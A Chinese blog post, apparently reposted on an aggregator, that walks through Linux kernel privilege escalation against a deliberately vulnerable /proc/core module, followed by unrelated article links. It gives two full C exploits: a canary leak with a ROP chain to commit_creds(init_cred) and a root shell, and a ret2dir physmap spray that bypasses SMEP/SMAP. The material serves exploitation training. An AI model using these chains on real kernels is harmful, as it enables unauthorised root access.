size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds += offset;
            prepare_kernel_cred += offset;
            init_cred += offset;
            pop_rdi_ret += offset;
            add_rsp_0xe8_ret += offset;
            swapgs_restore_regs_and_return_to_usermode += offset + 8;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

int main() {
    rebase();

    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }

    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);

    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;
    *(size_t *) &buf[80] = add_rsp_0xe8_ret;

    core_write(buf, sizeof(buf));

    __asm__(
            "mov r15, pop_rdi_ret;"
            "mov r14, init_cred;"
            "mov r13, commit_creds;"
            "mov r12, swapgs_restore_regs_and_return_to_usermode;"
            "mov rbp, 0x5555555555555555;"
            "mov rbx, 0x6666666666666666;"
            "mov r11, 0x7777777777777777;"
            "mov r10, 0x8888888888888888;"
            "mov r9, 0x9999999999999999;"
            "mov r8, 0xaaaaaaaaaaaaaaaa;"
            "mov rcx, 0xbbbbbbbbbbbbbbbb;"
            "mov rax, 16;"
            "mov rdx, 0xffffffffffff0058;"
            "mov rsi, 0x6677889A;"
            "mov rdi, core_fd;"
            "syscall"
            );

    system("/bin/sh");

    return 0;
}

ret2dir

physmap是内核管理的一块非常大的连续的虚拟内存空间,为了提高效率,该空间地址和RAM地址直接映射。RAM相对physmap要小得多,导致了任何一个RAM地址都可以在physmap中找到其对应的虚拟内存地址。另一方面,我们知道用户空间的虚拟内存也会映射到RAM。这就存在两个虚拟内存地址(一个在physmap地址,一个在用户空间地址)映射到同一个RAM地址的情况。也就是说,我们在用户空间里创建的数据,代码很有可能映射到physmap空间。基于这个理论在用户空间用mmap()把提权代码映射到内存,然后再在physmap里找到其对应的副本,修改EIP跳到副本执行就可以了。因为physmap本身就是在内核空间里,所以SMAP/SMEP都不会发挥作用。

在新版的内核当中 direct mapping area 已经不再具有可执行权限,因此我们很难再在用户空间直接布置 shellcode 进行利用,但我们仍能通过在用户空间布置 ROP 链的方式完成利用,即rsp修改到physmap上的某个偏移处,然后ret

说白了就是可以在内核地址找到一块用户态控制的内存

  1. mmap 大量的内存(rop chains 等),提高命中的概率
    以页为单位mmap分配,除了最后布置rop链,前面布置ret的地址
  2. 泄露出 slab 的地址,计算出 physmap的地址(开启KALSR后physmap地址是随机的)
  3. 劫持内核执行流到 physmap 上
    栈迁移到ptr_regs,然后再pop rsp ret 栈迁移到physmap上
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

size_t try_hit = 0xffff880000000000 + 0x7000000;
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rsp_ret = 0xffffffff81001689;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t ret = 0xFFFFFFFF8100168A;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

void get_shell() { system("/bin/sh"); }

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds += offset;
            prepare_kernel_cred += offset;
            init_cred += offset;
            pop_rdi_ret += offset;
            add_rsp_0xe8_ret += offset;
            pop_rsp_ret += offset;
            ret += offset;
            swapgs_restore_regs_and_return_to_usermode += offset;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

void physmap_spray() {
    size_t page_size = sysconf(_SC_PAGESIZE);
    size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    int it = 0;
    for (; it < (page_size / 8 - 11); it++) {
        rop[it] = ret;
    }
    rop[it++] = pop_rdi_ret;
    rop[it++] = init_cred;
    rop[it++] = commit_creds;
    rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
    rop[it++] = 0;
    rop[it++] = 0;
    rop[it++] = (size_t) get_shell;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;
    puts("[*] Spraying physmap...");
    for (int i = 1; i < 30000; i++) {
        void *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        memcpy(page, rop, page_size);
    }
}

int main() {
    rebase();
    save_status();
    physmap_spray();

    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }

    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);

    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;
    *(size_t *) &buf[80] = add_rsp_0xe8_ret;

    core_write(buf, sizeof(buf));

    __asm__(
            "mov r15, pop_rsp_ret;"
            "mov r14, try_hit;"
            "mov r13, 0x3333333333333333;"
            "mov r12, 0x4444444444444444;"
            "mov rbp, 0x5555555555555555;"
            "mov rbx, 0x6666666666666666;"
            "mov r11, 0x7777777777777777;"
            "mov r10, 0x8888888888888888;"
            "mov r9, 0x9999999999999999;"
            "mov r8, 0xaaaaaaaaaaaaaaaa;"
            "mov rcx, 0xbbbbbbbbbbbbbbbb;"
            "mov rax, 16;"
            "mov rdx, 0xffffffffffff0058;"
            "mov rsi, 0x6677889A;"
            "mov rdi, core_fd;"
            "syscall;"
            );

    system("/bin/sh");

    return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/788534.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

谈面向任务的多轮对话系统(TOD)

面向任务对话系统&#xff08;Task-Oriented Dialogue (TOD) Systems)主要是为解决特定任务的&#xff0c;比如订票任务&#xff08;订机票&#xff0c;电影票等&#xff09;&#xff0c;预定饭店等。这种对话往往需要多轮对话才能够完成。 多轮对话的例子 客户预定一个餐厅的…

仕考网:公务员考试面试时间一般多长?

公务员考试主要分为笔试与面试两个阶段&#xff0c;其中面试是笔试通过的下一关&#xff0c;面试的具体安排通常由相关考试机构或招录单位负责发布并通知考生。 公务员面试的持续时间一般在30分钟至1小时之间&#xff0c;具体时长可能因地区和招录单位的不同而有所变化。常见的…

红日靶场----(三)漏洞利用

上期已经信息收集阶段已经完成&#xff0c;接下来是漏洞利用。 靶场思路 通过信息收集得到两个吧靶场的思路 1、http://192.168.195.33/phpmyadmin/&#xff08;数据库的管理界面&#xff09; root/root 2、http://192.168.195.33/yxcms/index.php?radmin/index/login&am…

LLM大模型从入门到精通(2)--LLM模型的评估指标

LLM大模型建立完成之后&#xff0c;需要对大模型的性能进行评估。评估指标可以根据具体任务的不同而有所差异&#xff0c;以下是一些常见的评估指标&#xff1a; 1. 准确率&#xff08;Accuracy&#xff09;&#xff1a;模型预测正确的样本数占总样本数的比例。 2. 精确率&am…

oracle索引字段存储数据过长,导致索引失效

1&#xff1a;短位数据&#xff0c;索引生效 2&#xff1a;长位索引&#xff0c;索引不生效 此问题发现于6月中旬&#xff0c;线上问题优化。引以为戒。 解决&#xff1a; 并未解决索引不生效问题&#xff0c; 但是基于优化查询&#xff0c;是的查询保持毫秒级

项目收获总结--Redis的知识收获

一、概述 最近几天公司项目开发上线完成&#xff0c;做个收获总结吧~ 今天记录Redis的收获和提升。 二、Redis异步队列 Redis做异步队列一般使用 list 结构作为队列&#xff0c;rpush 生产消息&#xff0c;lpop 消费消息。当 lpop 没有消息的时候&#xff0c;要适当sleep再…

【Linux】进程(9):进程控制2(进程等待)

大家好&#xff0c;我是苏貝&#xff0c;本篇博客带大家了解Linux进程&#xff08;9&#xff09;进程控制2&#xff0c;如果你觉得我写的还不错的话&#xff0c;可以给我一个赞&#x1f44d;吗&#xff0c;感谢❤️ 目录 一. 为什么要进程等待二. 如何进行进程等待1.wait函数—…

Linux udp编程

我最近开了几个专栏&#xff0c;诚信互三&#xff01; > |||《算法专栏》&#xff1a;&#xff1a;刷题教程来自网站《代码随想录》。||| > |||《C专栏》&#xff1a;&#xff1a;记录我学习C的经历&#xff0c;看完你一定会有收获。||| > |||《Linux专栏》&#xff1…

洛谷 数学进制 7.9

P1100 高低位交换 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) 代码一 #include<bits/stdc.h> using namespace std; typedef long long ll; #define IOS ios::sync_with_stdio(0),cin.tie(0),cout.tie(0)const ll N1e510; char a[N];int main() {IOS;ll a;int b[32]…

一、YOLO V10安装、使用、训练大全

YOLO V10安装、使用、训练大全 一、下载官方源码二、配置conda环境三、安装YOLOV10依赖四、使用官方YOLO V10模型1.下载模型2.使用模型2.1 图片案例 五、制作数据集1.数据集目录结构2.标注工具2.1 安装标注工具2.2 运行标注工具2.3 设置自动保存2.4 切换yolo模式2.5 开始标注2.…

Mosh|内连接、外连接、左连接、右连接(未完)

下图取自菜鸟教程&#xff0c;侵权删&#xff5e; 一、内连接&#xff1a;Inner Joins 模版&#xff1a;SELECT * FROM A JOIN B ON 条件 含义&#xff1a;返回A与B的交集&#xff0c;列为AB列之和 练习&#xff1a;将order_items表和products表连接&#xff0c;返回产品id和…

Qt:12.输入类控件(QSpinBox-整数值输入的小部件、QDateEdit、QTimeEdit、QDateTimeEdit- 日期和时间输入的控件)

目录 一、QSpinBox-整数值输入的小部件&#xff1a; 1.1QSpinBox介绍&#xff1a; 1.2属性介绍&#xff1a; 1.3通用属性介绍&#xff1a; 1.4信号介绍&#xff1a; 二、QDateEdit、QTimeEdit、QDateTimeEdit- 日期和时间输入的控件&#xff1a; 2.1QDateEdit、QTimeEdit…

文件操作和IO流(Java版)

前言 我们无时无刻不在操作文件。可以说&#xff0c;我们在电脑上能看到的图片、视频、音频、文档都是一个又一个的文件&#xff0c;我们需要从文件中读取我们需要的数据&#xff0c;将数据运算后也需要将结果写入文件中长期保存。可见文件的重要性&#xff0c;今天我们就来简…

Gemma2——Google 新开源大型语言模型完整应用指南

0.引言 Gemma 2以前代产品为基础&#xff0c;提供增强的性能和效率&#xff0c;以及一系列创新功能&#xff0c;使其在研究和实际应用中都具有特别的吸引力。Gemma 2 的与众不同之处在于&#xff0c;它能够提供与更大的专有模型相当的性能&#xff0c;但其软件包专为更广泛的可…

北斗防爆手持终端在化工厂的安全性能分析

北斗防爆手持终端在化工厂中的应用显著提升了安全性能&#xff0c;其卓越的防爆设计、高精度定位与监控功能、实时通信能力以及多功能集成特性&#xff0c;共同构筑了化工厂安全生产的坚实防线&#xff0c;确保了巡检人员与设备在复杂环境下的安全作业与高效管理。 北斗防爆手持…

[Linux][Shell][Shell基础] -- [Shebang][特殊符号][变量][父子Shell]详细讲解

目录 0.前置知识1.Shebang2.Linux特殊符号整理3.变量4.环境变量5.父子shell0.概念1.创建进程列表(创建子shell执行命令) 6.内置命令 vs 外置命令 0.前置知识 #用于注释shell脚本语⾔属于⼀种弱类型语⾔&#xff1a;⽆需声明变量类型&#xff0c;直接定义使⽤shell三剑客&#…

148. 排序链表

https://leetcode.cn/problems/sort-list/description/https://leetcode.cn/problems/sort-list/description/ 解题思路&#xff1a; 归并排序&#xff0c;先拿到链表长度&#xff0c;每次遍历到一半&#xff0c;进行分割&#xff0c;后序双指针合并。 /*** Definition for sin…

图论---匈牙利算法求二分图最大匹配的实现

开始编程前分析设计思路和程序的整体的框架&#xff0c;以及作为数学问题的性质&#xff1a; 程序流程图&#xff1a; 数学原理&#xff1a; 求解二分图最大匹配问题的算法&#xff0c;寻找一个边的子集&#xff0c;使得每个左部点都与右部点相连&#xff0c;并且没有两条边共享…

操作系统|day1.了解操作系统

文章目录 了解操作系统定义目的操作系统体系结构功能特征操作系统的区别(64位与32位)操作系统的地址内存管理缓存 了解操作系统 定义 操作系统是控制管理计算机系统的硬软件,分配调度资源的系统软件 目的 方便性,有效性(提高系统资源的利用率,提高系统的吞吐量) 操作系统体…

android13 固定U盘链接 SD卡链接 TF卡链接 硬盘链接

1.前言 有些客户使用的应用并不带有自动监听U盘 sd卡广播的代码,使用的代码是固定的地址,这样的话,就需要我们将系统的挂载目录固定了。 原始路径 /storage/3123-19FA 增加链接 /storage/upan_000 -> /storage/3123-19FA 2. 首先如果是应用本身监听的话,使用的是 /…